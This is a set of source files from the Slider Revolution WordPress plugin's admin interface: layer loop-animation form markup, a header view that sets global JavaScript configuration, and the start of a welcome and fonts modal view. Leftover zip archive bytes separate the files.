								<label_a><?php _e('Block Color', 'revslider');?></label_a><input type="text" data-editing="SFX Color Animation" data-mode="single" name="sfxColorAnimation" id="sfxColorAnimation" class="my-color-field layerinput easyinit" data-visible="true" data-r="#frame#.sfx.color" value="transparent">
							</div>
						</div>
					</div>
				</div>


			</div>
		</div>

	</div><!-- END OF LAYER ANIMAION CONTAINER -->

	<!-- LAYER ANIMATION CONTAINER -->
	<div class="form_collector layer_settings_collector" data-type="layersconfig" data-pcontainer="#layer_settings" data-offset="#rev_builder_wrapper">
		<div id="form_layer_loop"  class="formcontainer form_menu_inside collapsed" data-select="#gst_layer_15" data-unselect=".layer_submodule_trigger">
			<div id="form_layer_loop_innerwrap">
				<!--<div class="collectortabwrap"><div id="collectortab_form_layer_loop" class="collectortab form_menu_inside" data-forms='["#form_layer_loop"]'><i class="material-icons">loop</i><?php _e('Animation', 'revslider');?></div></div>		-->


				<!-- LAYER CONTENT LOOP ANIMATION -->
				<div id="form_animation_sloop" class="form_inner open">
					<div id="layer_looping_wrap">
						<div class="form_inner_header"><i class="material-icons">loop</i><?php _e('Layer Loop Animations', 'revslider');?></div>
						<div class="collapsable" style="display:block !important">
							<div class="div15"></div><!--					
							--><div id="la_looping-tab-1" class="settingsmenu_wrapbtn"><div data-inside="#layer_looping_wrap" data-evt="showhidelayerlooping" data-evtparam="timeline" data-showssm="#la_looping_timeline" class="ssmbtn selected"><?php _e('Timeline', 'revslider');?></div></div><!--
							--><div id="la_looping-tab-2" class="settingsmenu_wrapbtn"><div data-inside="#layer_looping_wrap" data-evt="showhidelayerlooping" data-evtparam="effects" data-showssm="#la_looping_effects" class="ssmbtn"><?php _e('Effects', 'revslider');?></div></div><!--						
							--><div class="div25"></div>
							<div id="la_looping_timeline" class="ssm_content selected">
								<longoption><label_a><?php _e('Enable Timeline Loops', 'revslider');?></label_a><input type="checkbox"  class="layerinput easyinit callEvent" data-evt="updateLayerLoopTimelineframes" data-evtparam="updateAllLayerFrames" data-showhide="#layer_timelineloop_animation" data-showhidedep="true"  data-r="timeline.tloop.use"/></longoption>
							</div>
							<div id="la_looping_effects" class="ssm_content">
								<longoption><label_a><?php _e('Enable Loop Effects', 'revslider');?></label_a><input type="checkbox"  class="layerinput easyinit" data-showhide="#all_layer_loop_animation,#layer_simulator_loop" data-showhidedep="true"  data-r="timeline.loop.use"/></longoption>
							</div>
						</div>
					</div>
				</div>

				<!-- LAYER LOOPING TIMELINE  -->
				<div id="layer_timelineloop_animation"> 
					<div id="la_loopings_tab_timeline" class="la_loopings_tab selected">
						<div id="form_layer_loop_timeline" class="form_inner open">
							<div class="form_inner_header"><i class="material-icons">repeat_one</i><?php _e('Layer Timeline Loop', 'revslider');?></div>															
							<div class="collapsable">
								<label_a><?php _e('Start Frame', 'revslider');?></label_a><select id="la_timeline_loop_from" class="layerinput easyinit nosearchbox tos2 callEvent" data-evt="updateAllLayerFrames" data-r="timeline.tloop.from"></select><span class="linebreak"></span>
								<label_a><?php _e('End Frame', 'revslider');?></label_a><select id="la_timeline_loop_to" class="layerinput easyinit nosearchbox tos2 callEvent" data-evt="updateAllLayerFrames"  data-r="timeline.tloop.to"></select><span class="linebreak"></span>
								<label_a><?php _e('Loop Amount', 'revslider');?></label_a><input id="la_timeline_loop_amnt" class="layerinput valueduekeyboard smallinput easyinit input_with_presets" data-numeric="true" data-allowed="" data-presets_text="$C$Infinity!$C$1!$C$2!$C$5" data-presets_val="-1!1!2!5" data-r="timeline.tloop.repeat" type="text"><span class="linebreak"></span>
								<longoption><label_a><?php _e('Animate to "Start" in Loop', 'revslider');?></label_a><input type="checkbox"  class="layerinput easyinit"  data-r="timeline.tloop.keep"/></longoption>
								<longoption class="_shfg_ _shfc_ _shfr_"><label_a><?php _e('Reset Children Timeline', 'revslider');?></label_a><input type="checkbox"  class="layerinput easyinit"  data-r="timeline.tloop.children"/></longoption>
								<div class="_shfg_ _shfc_ _shfr_">
									<div class="div25"></div>
									<row class="direktrow">
										<labelhalf style="width:40px"><i class="material-icons vmi">sms_failed</i></labelhalf>
										<contenthalf style="width:250px"><div class="function_info"><?php _e('Restriction !<br>Children Layers of Group, Column and Row will simply restart, without animation from the last loop Frame to first loop frame, independent of the Animate to "start" in Loop enabled option.', 'revslider');?></div></contenthalf>
									</row>
								</div>
							</div>
						</div>
					</div>
				</div>


				<!-- LAYER LOOPING EFFECTS  -->
				<div id="all_layer_loop_animation"> 
					<div id="la_loopings_tab_effects" class="la_loopings_tab" style="display:none">
						<div id="form_layer_loop_effect" class="form_inner open">
							<div class="form_inner_header"><i class="material-icons">mouse</i><?php _e('Layer Looping Effects', 'revslider');?></div>								
							<div class="load_anim_value_wrap">
								<div class="div15"></div>
								<!-- QUICK ANIMATION PICKER-->
								<div class="layer_transliste"><div class="layer_transliste_head"><span class="frame_list_id">LOOP</span><span class="frame_list_title" id="layer_trans_curr_name_loop"><?php _e('Load Loop Template', 'revslider');?></span><i class="right-divided-icon material-icons">arrow_drop_down</i></div><div id="layer_transliste_loop" class="layer_transliste_inner"></div></div>
							</div>
							<div class="collapsable">
								<row class="direktrow">
									<div id="layer_simulator_loop" data-states="play,stop" data-start_state="play" data-stop="previewLayerAnimation" data-stop_state="" data-stop_icon="stop" data-play="previewStopLayerAnimation"  data-play_state="" data-play_icon="play_arrow" class="rightbutton basic_action_button onlyicon switch_button"><i class="switch_button_icon material-icons"></i><span class="switch_button_state"></span></div>
									<onelong><label_icon class="ui_easing_in"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateLayerFrame" data-numeric="true" data-allowed="" data-r="timeline.loop.start" data-min="0" data-max="99999" data-steps="10" type="text"></onelong>
									<oneshort><label_icon class="ui_duration"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit callEvent" data-evt="updateLayerFrame" data-numeric="true" data-allowed="" data-r="timeline.loop.speed" data-min="0" data-max="99999" data-steps="10" type="text"></oneshort>
								</row>

								<label_icon class="ui_easing singlerow"></label_icon><select id="le_frame_ease_loop" class="layerinput tos2 nosearchbox easyinit easingSelect" data-r="timeline.loop.ease"></select>
								<div class="div10"></div>
								<row class="direktrow">
									<onelong><label_icon class="ui_origox"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px,%" data-r="timeline.loop.originX" data-min="-3600" data-max="3600" type="text"></onelong>
									<oneshort><label_icon class="ui_origoy"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px,%" data-r="timeline.loop.originY" data-min="-3600" data-max="3600" type="text"></oneshort>
								</row>
								<row>
									<onelong><label_icon class="ui_origoz"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px,%" data-r="timeline.loop.originZ" data-min="-3600" data-max="3600" type="text"></onelong>
									<oneshort></oneshort>
								</row>

								<div class="div10"></div>

								<div id="layer_loop_settings" class="loop_wrapbrtn"><div data-showloop="#loop_move_settings" data-frametarget="mask" class="looptarget_selector selected"><?php _e('Move', 'revslider');?></div></div><!--
								--><div class="loop_wrapbrtn"><div data-showloop="#loop_scale_settings" data-frametarget="filter" class="looptarget_selector" ><?php _e('Scale', 'revslider');?></div></div><!--
								--><div class="loop_wrapbrtn"><div data-showloop="#loop_rotate_settings" data-frametarget="color" class="looptarget_selector" ><?php _e('Rotate', 'revslider');?></div></div><!--
								--><div class="loop_wrapbrtn"><div data-showloop="#loop_filter_settings" data-frametarget="color" class="looptarget_selector" ><?php _e('Filter', 'revslider');?></div></div>
								<div class="div25"></div>

								<!-- LAYER LOOP ANIMATIONTRANSFORMATIONS -->

								<div id="loop_move_settings" class="group_loopsettings" style="display:block">
									<row><onelong><label_a><?php _e('Yoyo', 'revslider');?></label_a><input class="easyinit layerinput"  type="checkbox" data-r="timeline.loop.yoyo_move"></onelong><oneshort></oneshort></row>
									<row class="direktrow">
										<onelong><label_icon class="ui_x"></label_icon><input data-numeric="true" class="layerinput valueduekeyboard smallinput easyinit"  data-allowed="px,%" data-r="timeline.loop.frame_0.x"  d type="text"></onelong>
										<oneshort><input data-numeric="true" class="layerinput valueduekeyboard smallinput easyinit"  data-allowed="px,%" data-r="timeline.loop.frame_999.x"  d type="text"></oneshort>
									</row>
									<row class="direktrow">
										<onelong><label_icon class="ui_y"></label_icon><input data-numeric="true"  class="layerinput valueduekeyboard smallinput easyinit"  data-allowed="px,%" data-r="timeline.loop.frame_0.y"  type="text"></onelong>
										<oneshort><input data-numeric="true"  class="layerinput valueduekeyboard smallinput easyinit"  data-allowed="px,%" data-r="timeline.loop.frame_999.y"  type="text"></oneshort>
									</row>
									<row class="direktrow">
										<onelong><label_icon class="ui_z"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-r="timeline.loop.frame_0.z"  type="text"></onelong>
										<oneshort><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-r="timeline.loop.frame_999.z"  type="text"></oneshort>
									</row>
									<div class="div15"></div>
									<label_a><?php _e('Curved', 'revslider');?></label_a><input type="checkbox" data-showhide="#curved_loop_settings" data-showhidedep="true" class="layerinput easyinit" data-r="timeline.loop.curved" /><div class="linebreak"></div>
									<div id="curved_loop_settings">
										<label_a><?php _e('Auto Rotate', 'revslider');?></label_a><input type="checkbox" class="layerinput easyinit" data-r="timeline.loop.autoRotate" /><div class="linebreak"></div>
										<row >
											<onelong><label_icon class="ui_startangle"></label_icon><select id="le_loop_startangle" class="layerinput tos2 nosearchbox easyinit" data-r="timeline.loop.radiusAngle"><option value="0">0 Degree</option><option value="1">90 Degree</option><option value="2">180 Degree</option><option value="3">270 Degree</option></select></onelong>
											<oneshort><label_icon class="ui_curviness"></label_icon><input data-numeric="true" class="layerinput valueduekeyboard smallinput easyinit"  data-allowed="" data-r="timeline.loop.curviness"  d type="text"></oneshort>
										</row>
										<row class="direktrow">
											<onelong><label_icon class="ui_xradius"></label_icon><input data-numeric="true" class="layerinput valueduekeyboard smallinput easyinit"  data-allowed="px,%" data-r="timeline.loop.frame_0.xr"  d type="text"></onelong>
											<oneshort><input data-numeric="true" class="layerinput valueduekeyboard smallinput easyinit"  data-allowed="px" data-r="timeline.loop.frame_999.xr"  d type="text"></oneshort>
										</row>
										<row class="direktrow">
											<onelong><label_icon class="ui_yradius"></label_icon><input data-numeric="true"  class="layerinput valueduekeyboard smallinput easyinit"  data-allowed="px,%" data-r="timeline.loop.frame_0.yr"  type="text"></onelong>
											<oneshort><input data-numeric="true"  class="layerinput valueduekeyboard smallinput easyinit"  data-allowed="px" data-r="timeline.loop.frame_999.yr"  type="text"></oneshort>
										</row>
										<row class="direktrow">
											<onelong><label_icon class="ui_zradius"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-r="timeline.loop.frame_0.zr"  type="text"></onelong>
											<oneshort><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-r="timeline.loop.frame_999.zr"  type="text"></oneshort>
										</row>
									</div>
								</div>
								<div id="loop_scale_settings" class="group_loopsettings">
									<row><onelong><label_icon class="ui_yoyo"></label_icon><input class="easyinit layerinput"  type="checkbox" data-r="timeline.loop.yoyo_scale"></onelong><oneshort></oneshort></row>
									<row class="direktrow">
										<onelong><label_icon class="ui_scalex"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="" data-r="timeline.loop.frame_0.scaleX"  type="text"></onelong>
										<oneshort><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="" data-r="timeline.loop.frame_999.scaleX"  type="text"></oneshort>
									</row>
									<row>
										<onelong><label_icon class="ui_scaley"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="" data-r="timeline.loop.frame_0.scaleY"  type="text"></onelong>
										<oneshort><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="" data-r="timeline.loop.frame_999.scaleY"  type="text"></oneshort>
									</row>
									<row class="direktrow">
										<onelong><label_icon class="ui_skewx"></label_icon><input  class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="" data-r="timeline.loop.frame_0.skewX"  type="text"></onelong>
										<oneshort><input  class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="" data-r="timeline.loop.frame_999.skewX"  type="text"></oneshort>
									</row>
									<row class="direktrow">
										<onelong><label_icon class="ui_skewy"></label_icon><input  class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="" data-r="timeline.loop.frame_0.skewY"  type="text"></onelong>
										<oneshort><input  class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="" data-r="timeline.loop.frame_999.skewY"  type="text"></oneshort>
									</row>
								</div>
								<div id="loop_rotate_settings" class="group_loopsettings">
									<row><onelong><label_icon class="ui_yoyo"></label_icon><input class="easyinit layerinput"  type="checkbox" data-r="timeline.loop.yoyo_rotate"></onelong><oneshort></oneshort></row>
									<row class="direktrow">
										<onelong><label_icon class="ui_rotatex"></label_icon><input  class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="deg" data-r="timeline.loop.frame_0.rotationX" type="text"></onelong>
										<oneshort><input  class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="deg" data-r="timeline.loop.frame_999.rotationX" type="text"></oneshort>
									</row>
									<row class="direktrow">
										<onelong><label_icon class="ui_rotatey"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit " data-numeric="true" data-allowed="deg" data-r="timeline.loop.frame_0.rotationY" type="text"></onelong>
										<oneshort><input class="layerinput valueduekeyboard smallinput easyinit " data-numeric="true" data-allowed="deg" data-r="timeline.loop.frame_999.rotationY" type="text"></oneshort>
									</row>
									<row class="direktrow">
										<onelong><label_icon class="ui_rotatez"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="deg" data-r="timeline.loop.frame_0.rotationZ" type="text"></onelong>
										<oneshort><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="deg" data-r="timeline.loop.frame_999.rotationZ" type="text"></oneshort>
									</row>
								</div>
								<div id="loop_filter_settings" class="group_loopsettings">
									<row><onelong><label_icon class="ui_yoyo"></label_icon><input class="easyinit layerinput"  type="checkbox" data-r="timeline.loop.yoyo_filter"></onelong><oneshort></oneshort></row>
									<row class="direktrow">
										<onelong><label_icon class="ui_opacity singlerow"></label_icon><input  class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="" data-r="timeline.loop.frame_0.opacity" data-min="0" data-max="1" data-steps="0.05" type="text"></onelong>
										<oneshort><input  class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="" data-r="timeline.loop.frame_999.opacity" data-min="0" data-max="1" data-steps="0.05" type="text"></oneshort>
									</row>
									<row class="direktrow">
										<onelong><label_icon class="ui_blur"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-min="0" data-max="500" data-r="timeline.loop.frame_0.blur" type="text"></onelong>
										<oneshort><label_icon class="ui_blur"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="px" data-min="0" data-max="500" data-r="timeline.loop.frame_999.blur" type="text"></oneshort>
									</row>
									<row class="direktrow">
										<onelong><label_icon class="ui_grayscale"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-min="0" data-max="100" data-r="timeline.loop.frame_0.grayscale" type="text"></onelong>
										<oneshort><label_icon class="ui_grayscale"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-min="0" data-max="100" data-r="timeline.loop.frame_999.grayscale" type="text"></oneshort>
									</row>

									<row class="direktrow">
										<onelong><label_icon class="ui_brightness"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-min="0" data-max="10000" data-r="timeline.loop.frame_0.brightness" type="text"></onelong>
										<oneshort><label_icon class="ui_brightness"></label_icon><input class="layerinput valueduekeyboard smallinput easyinit" data-numeric="true" data-allowed="%" data-min="0" data-max="10000" data-r="timeline.loop.frame_999.brightness" type="text"></oneshort>
									</row>
								</div>							
							</div>
						</div>
					</div>
				</div><!-- END OF LOOP ANIMATION -->
			</div>
		</div>
	</div><!-- END OF LOOP CONTAINER -->


	<!-- LAYER PRESETS CONTAINER -->
	<div class="form_collector layer_settings_collector" data-type="layersconfig" data-pcontainer="#layer_settings" data-offset="#rev_builder_wrapper">
		<div id="form_layer_presets"  class="formcontainer form_menu_inside collapsed" data-select="#gst_layer_12" data-unselect=".layer_submodule_trigger">
			<!--<div class="collectortabwrap"><div id="collectortab_form_layer_presets" class="collectortab form_menu_inside" data-forms='["#form_layer_presets"]'><i class="material-icons">save</i><?php _e('Presets', 'revslider');?></div></div>		-->

			<!-- LAYER PRESET HANDLINGS -->
			<div class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">save</i><?php _e('Presets', 'revslider');?></div>
				<div class="collapsable">
				</div>
			</div>

		</div>
	</div>
</div><!-- END OF LAYER SETTINGS -->



PK�y3\���1�!�!views/header.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */

if(!defined('ABSPATH')) exit();

$rsaf	= new RevSliderFunctionsAdmin();
$rs_od	= $rsaf->get_slider_overview();
$rsa	= $rsaf->get_short_library($rs_od);
$rsupd	= new RevSliderPluginUpdate();
$rsaddon= new RevSliderAddons();

$rs_addon_update		 = $rsaddon->check_addon_version();
$rs_addons				 = $rsaddon->get_addon_list();
$rs_wp_date_format		 = get_option('date_format');
$rs_wp_time_format		 = get_option('time_format');
$rs_valid				 = get_option('revslider-valid', 'false');
$rs_latest_version		 = get_option('revslider-latest-version', RS_REVISION);
$rs_stable_version		 = get_option('revslider-stable-version', '4.2');
$rs_emergency_update	 = ($rs_valid !== 'true' && version_compare($rs_latest_version, $rs_stable_version, '<') === true) ? true : false;
$rs_latest_version		 = ($rs_valid !== 'true' && version_compare($rs_latest_version, $rs_stable_version, '<') === true) ? $rs_stable_version : $rs_latest_version;
$rs_added_image_sizes	 = $rsaf->get_all_image_sizes();
$rs_image_meta_todo		 = get_option('rs_image_meta_todo', array());
$rs_slider_update_needed = $rsupd->slider_need_update_checks();
$rs_global_settings		 = $rsaf->get_global_settings();
$rs_notices				 = $rsaf->add_notices();
$rs_color_picker_presets = RSColorpicker::get_color_presets();
$rs_compression			 = $rsaf->compression_settings();
$rs_backend_fonts		 = $rsaf->get_font_familys();
$rs_new_addon_counter	 = get_option('rs-addons-counter', false);
$rs_new_addon_counter	 = ($rs_new_addon_counter === false) ? count($rs_addons) : $rs_new_addon_counter;
$rs_new_temp_counter	 = get_option('rs-templates-counter', false);
if($rs_new_temp_counter === false){
	$_rs_tmplts			 = get_option('rs-templates', array());
	$rs_new_temp_counter = (isset($_rs_tmplts['slider'])) ? count($_rs_tmplts['slider']) : $rs_new_temp_counter;
}
$rs_global_sizes		 = array(
	'd' => $rsaf->get_val($rs_global_settings, array('size', 'desktop'), '1240'),
	'n' => $rsaf->get_val($rs_global_settings, array('size', 'notebook'), '1024'),
	't' => $rsaf->get_val($rs_global_settings, array('size', 'tablet'), '778'),
	'm' => $rsaf->get_val($rs_global_settings, array('size', 'mobile'), '480')
);
$rs_show_updated = get_option('rs_cache_overlay', RS_REVISION);
if(version_compare(RS_REVISION, $rs_show_updated, '>')){
    update_option('rs_cache_overlay', RS_REVISION);
}
$rs_show_deregister_popup = $rsaf->_truefalse(get_option('revslider-deregister-popup', 'false'));

?>
<!-- GLOBAL VARIABLES -->
<script type="text/javascript">
	window.RVS = window.RVS === undefined ? {F:{}, C:{}, ENV:{}, LIB:{}, V:{}, S:{}, DOC:jQuery(document), WIN:jQuery(window)} : window.RVS;
	
	RVS.LIB.ADDONS			= RVS.LIB.ADDONS === undefined ? {} : RVS.LIB.ADDONS;	
	RVS.LIB.ADDONS			= jQuery.extend(true,RVS.LIB.ADDONS,<?php echo (!empty($rs_addons)) ? 'JSON.parse('.$rsaf->json_encode_client_side($rs_addons).')' : '{}'; ?>);	
	RVS.LIB.OBJ 			= {types: <?php echo (empty($rsa)) ? '{}' : 'JSON.parse('. $rsaf->json_encode_client_side($rsa).')'; ?>};
	RVS.LIB.SLIDERS			= <?php echo (defined('JSON_INVALID_UTF8_IGNORE')) ? json_encode(RevSliderSlider::get_sliders_short_list(), JSON_INVALID_UTF8_IGNORE) : json_encode(RevSliderSlider::get_sliders_short_list()); ?>;
	RVS.LIB.COLOR_PRESETS	= <?php echo (!empty($rs_color_picker_presets)) ? 'JSON.parse('. $rsaf->json_encode_client_side($rs_color_picker_presets) .')' : '{}'; ?>;

	RVS.ENV.addOns_to_update = <?php echo (!empty($rs_addon_update)) ? 'JSON.parse('.$rsaf->json_encode_client_side($rs_addon_update).')' : '{}'; ?>;
	RVS.ENV.activated		= '<?php echo ($rs_valid) == 'true' ? 'true' : 'false'; ?>';
	RVS.ENV.activated		= RVS.ENV.activated == 'true' || RVS.ENV.activated == true ? true : false;
	RVS.ENV.nonce			= '<?php echo wp_create_nonce('revslider_actions'); ?>';
	RVS.ENV.plugin_dir		= 'revslider';
	RVS.ENV.slug_path		= '<?php echo RS_PLUGIN_SLUG_PATH; ?>';
	RVS.ENV.slug			= '<?php echo RS_PLUGIN_SLUG; ?>';
	RVS.ENV.plugin_url		= '<?php echo RS_PLUGIN_URL; ?>';
	RVS.ENV.wp_plugin_url 	= '<?php echo WP_PLUGIN_URL . "/"; ?>';
	RVS.ENV.admin_url		= '<?php echo admin_url('admin.php?page=revslider'); ?>';
	RVS.ENV.revision		= '<?php echo RS_REVISION; ?>';
	RVS.ENV.updated			= <?php echo (version_compare(RS_REVISION, $rs_show_updated, '>')) ? 'true' : 'false'; ?>;
	RVS.ENV.latest_version	= '<?php echo $rs_latest_version; ?>';
	RVS.ENV.allow_update	= <?php echo ($rs_emergency_update === true) ? 'true' : 'false'; ?>;
	RVS.ENV.php_version		= '<?php echo phpversion(); ?>';
	RVS.ENV.output_compress	= <?php echo (!empty($rs_compression)) ? 'JSON.parse('. $rsaf->json_encode_client_side($rs_compression) .')' : '[]'; ?>;
	RVS.ENV.placeholder		= {
		date_format:		'<?php echo $rs_wp_date_format; ?>',
		time_format:		'<?php echo $rs_wp_time_format; ?>',
		date_today:			'<?php echo date($rs_wp_date_format); ?>',
		time:				'<?php echo date($rs_wp_time_format); ?>',
		tomorrow:			'<?php echo date($rs_wp_date_format, strtotime(date($rs_wp_date_format) . ' +1 day')); ?>',
		last_week:			'<?php echo date($rs_wp_date_format, strtotime(date($rs_wp_date_format) . ' -7 day')); ?>',
		<?php
		if(RevSliderWooCommerce::woo_exists()){
			$wc = new WC_Product(0);
		?>wc_full_price:		'<?php echo wc_price('99') . $wc->get_price_suffix(); ?>',
		wc_price:			'<?php echo strip_tags(wc_price('99') . $wc->get_price_suffix()); ?>',
		wc_price_no_cur:	'<?php echo strip_tags(wc_price('99')); ?>',
		wc_categories:		'shoes, socks',
		wc_tags:			'comfort, health',
		<?php
		}
		if(RevSliderEventsManager::isEventsExists()){
		?>event_start_date:	'<?php echo date($rs_wp_date_format); ?>',
		event_end_date:		'<?php echo date($rs_wp_date_format); ?>',
		event_start_time:	'<?php echo date($rs_wp_time_format); ?>',
		event_end_time:		'<?php echo date($rs_wp_time_format); ?>',
		<?php
		}
		?>date:				'<?php echo date($rs_wp_date_format); ?>',
		date_modified:		'<?php echo date($rs_wp_date_format); ?>'
	};
	RVS.ENV.glb_slizes		= JSON.parse(<?php echo $rsaf->json_encode_client_side($rs_global_sizes); ?>);
	RVS.ENV.img_sizes		= JSON.parse(<?php echo $rsaf->json_encode_client_side($rs_added_image_sizes); ?>);
	RVS.ENV.create_img_meta	= <?php echo (!empty($rs_image_meta_todo)) ? 'true' : 'false'; ?>;
	RVS.ENV.notices			= <?php echo (!empty($rs_notices)) ? 'JSON.parse('. $rsaf->json_encode_client_side($rs_notices) .')' : '[]'; ?>;
	RVS.ENV.selling			= <?php echo ($rsaf->get_addition('selling') === true) ? 'true' : 'false'; ?>;
	RVS.ENV.newAddonsAmount = '<?php echo $rs_new_addon_counter; ?>';
	RVS.ENV.newTemplatesAmount = '<?php echo $rs_new_temp_counter; ?>';
	RVS.ENV.deregisterPopup	= <?php echo ($rs_show_deregister_popup) ? 'true' : 'false'; ?>;
	
	<?php
	if($rs_slider_update_needed == true){
	?>
	var RS_DO_SILENT_SLIDER_UPDATE = <?php echo ($rs_slider_update_needed == true) ? 'true' : 'false'; ?>;
	
	if(RS_DO_SILENT_SLIDER_UPDATE === true){
		//push request to update slider for slider until finished		
		var rs_do_silent_update_once = false
		if (document.readyState === "loading") 
			document.addEventListener('readystatechange',function(){
				if ((document.readyState === "interactive" || document.readyState === "complete") && !rs_do_silent_update_once) {
					rs_do_silent_update_once = true;
					rs_do_silent_update();
				}
			});
		else {
			rs_do_silent_update_once = true;
			rs_do_silent_update();
		}		
	}
	
	function rs_do_silent_update(){
		RVS.F.ajaxRequest('silent_slider_update', {}, function(response){
			if(response.status !== 'finished'){
				rs_do_silent_update();
			}else{
				RS_DO_SILENT_SLIDER_UPDATE = false;
			}
		}, true);
	}
	<?php
	}
	?>
</script>
<?php
do_action('revslider_header_content', $rsaf);
?>

<?php
//add custom fonts that have backend set to true
if(!empty($rs_backend_fonts)){
	foreach($rs_backend_fonts as $rs_bf){
		if($rs_bf['type'] === 'custom' && isset($rs_bf['url']) && isset($rs_bf['backend']) && $rs_bf['backend'] === true){
			echo '<link href="'.esc_html($rs_bf['url']).'" rel="stylesheet" property="stylesheet" media="all" type="text/css" >'."\n";
		}
	}
}
?>

<?php
//added for builder
?>
<script src="https://player.vimeo.com/api/player.js"></script>
<script src="https://www.youtube.com/iframe_api"></script>
<!-- COLLECTOR FOR ADDONS -->


<!-- WAIT A MINUTE OVERLAY CONTAINER -->
<div id="waitaminute" class="_TPRB_">
	<div class="waitaminute-message"><i class="eg-icon-emo-coffee"></i><br><?php _e('Please Wait...', 'revslider'); ?></div>
</div>

<!-- TOP RIGHT CORNER INFORMATION CONTAINER -->
<div id="rb_maininfo_wrap" class="_TPRB_"></div>PK�y3\���J�;�;views/modals-overview.phpnu�[���<?php
/**
 * Provide an admin area view for the Slider Modal Options
 *
 * This file is used to markup the admin-facing aspects of the plugin.
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */
 
if(!defined('ABSPATH')) exit();

?>

<!--WELCOME MODAL-->
<div class="_TPRB_ rb-modal-wrapper" data-modal="rbm_welcomeModal">
	<div class="rb-modal-inner">
		<div class="rb-modal-content">
			<div id="rbm_welcomeModal" class="rb_modal form_inner">
				<div class="rbm_header"><span class="rbm_title"><?php printf(__('Welcome to Slider Revolution %s', 'revslider'), RS_REVISION);?></span><i class="rbm_close material-icons">close</i></div>
				<div class="rbm_content">
					<div style="padding:80px 100px 0px">
						<div id="welcome_logo"></div>
						<div class="mcg_option_third_wraps">
							<div class="st_slider mcg_guide_optionwrap mcg_option_third">																
								<div class="mcg_o_title"><?php _e('What\'s new?');?></div>
								<div class="mcg_o_descp"><?php printf(__( 'Check out our Change Log to learn about new Features and Bug Fixes in Version %s.', 'revslider'), RS_REVISION); ?></div>
								<div class="div25"></div>
								<a  target="_blank" rel="noopener" href="https://www.sliderrevolution.com/documentation/changelog/" class="basic_action_button autosize basic_action_lilabutton"><?php _e('More Info');?></a>
							</div>
							<div class="st_scene mcg_guide_optionwrap mcg_option_third">																
								<div class="mcg_o_title"><?php _e('Docs & FAQs');?></div>
								<div class="mcg_o_descp"><?php printf(__( 'Checkout our all new Help Center<br>with updated %s Support Material.', 'revslider'), RS_REVISION); ?></div>
								<div class="div25"></div>
								<a  target="_blank" rel="noopener" href="https://www.sliderrevolution.com/help-center/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=faq" class="basic_action_button autosize basic_action_lilabutton"><?php _e('Help Center');?></a>
							</div>
							<div class="st_carousel mcg_guide_optionwrap mcg_option_third last">																
								<div class="mcg_o_title"><?php _e('Clear your Browser Cache');?></div>
								<div class="mcg_o_descp"><?php _e('To make sure that all Slider Revolution files<br>are updated, please clear your cache.');?></div>
								<div class="div25"></div>
								<a  target="_blank" rel="noopener" href="https://www.sliderrevolution.com/faq/updating-make-sure-clear-caches/" class="basic_action_button autosize basic_action_lilabutton"><?php _e('How to?');?></a>
							</div>
						</div>
						<div class="div75"></div>
					</div>
					<?php
					if(get_option('revslider-valid', 'false') == 'true') { ?>
						<div id="open_welcome_register_form" class="big_purple_linkbutton"><?php _e('Lets get Started with ' );?> <b> <?php printf(__('Slider Revolution %s', 'revslider'), RS_REVISION); ?></b></div>
					<?php } else { ?>
						<div id="open_welcome_register_form" class="big_purple_linkbutton"><?php _e('Activate Slider Revolution to');?> <b> <i class="material-icons">lock</i> <?php _e('Unlock all Features');?></b></div>
					<?php } ?>
				</div>
			</div>
		</div>
	</div>
</div>


<!--GLOBAL CUSTOM FONTS MODAL-->
<div class="_TPRB_ rb-modal-wrapper" data-modal="rbm_globalfontsettings" style="z-index:1000010 !important">
	<div class="rb-modal-inner">
		<div class="rb-modal-content">
			<div id="rbm_globalfontsettings" class="rb_modal form_inner">
				<div class="rbm_header"><i class="rbm_symbol material-icons">font_download</i><span class="rbm_title"><?php _e('Global Custom Fonts', 'revslider');?></span><i class="rbm_close material-icons">close</i></div>
				<div class="rbm_content">					
					<div class="modal_fields_title" style="width:200px;"><?php _e('Font Family Name', 'revslider');?></div><!--
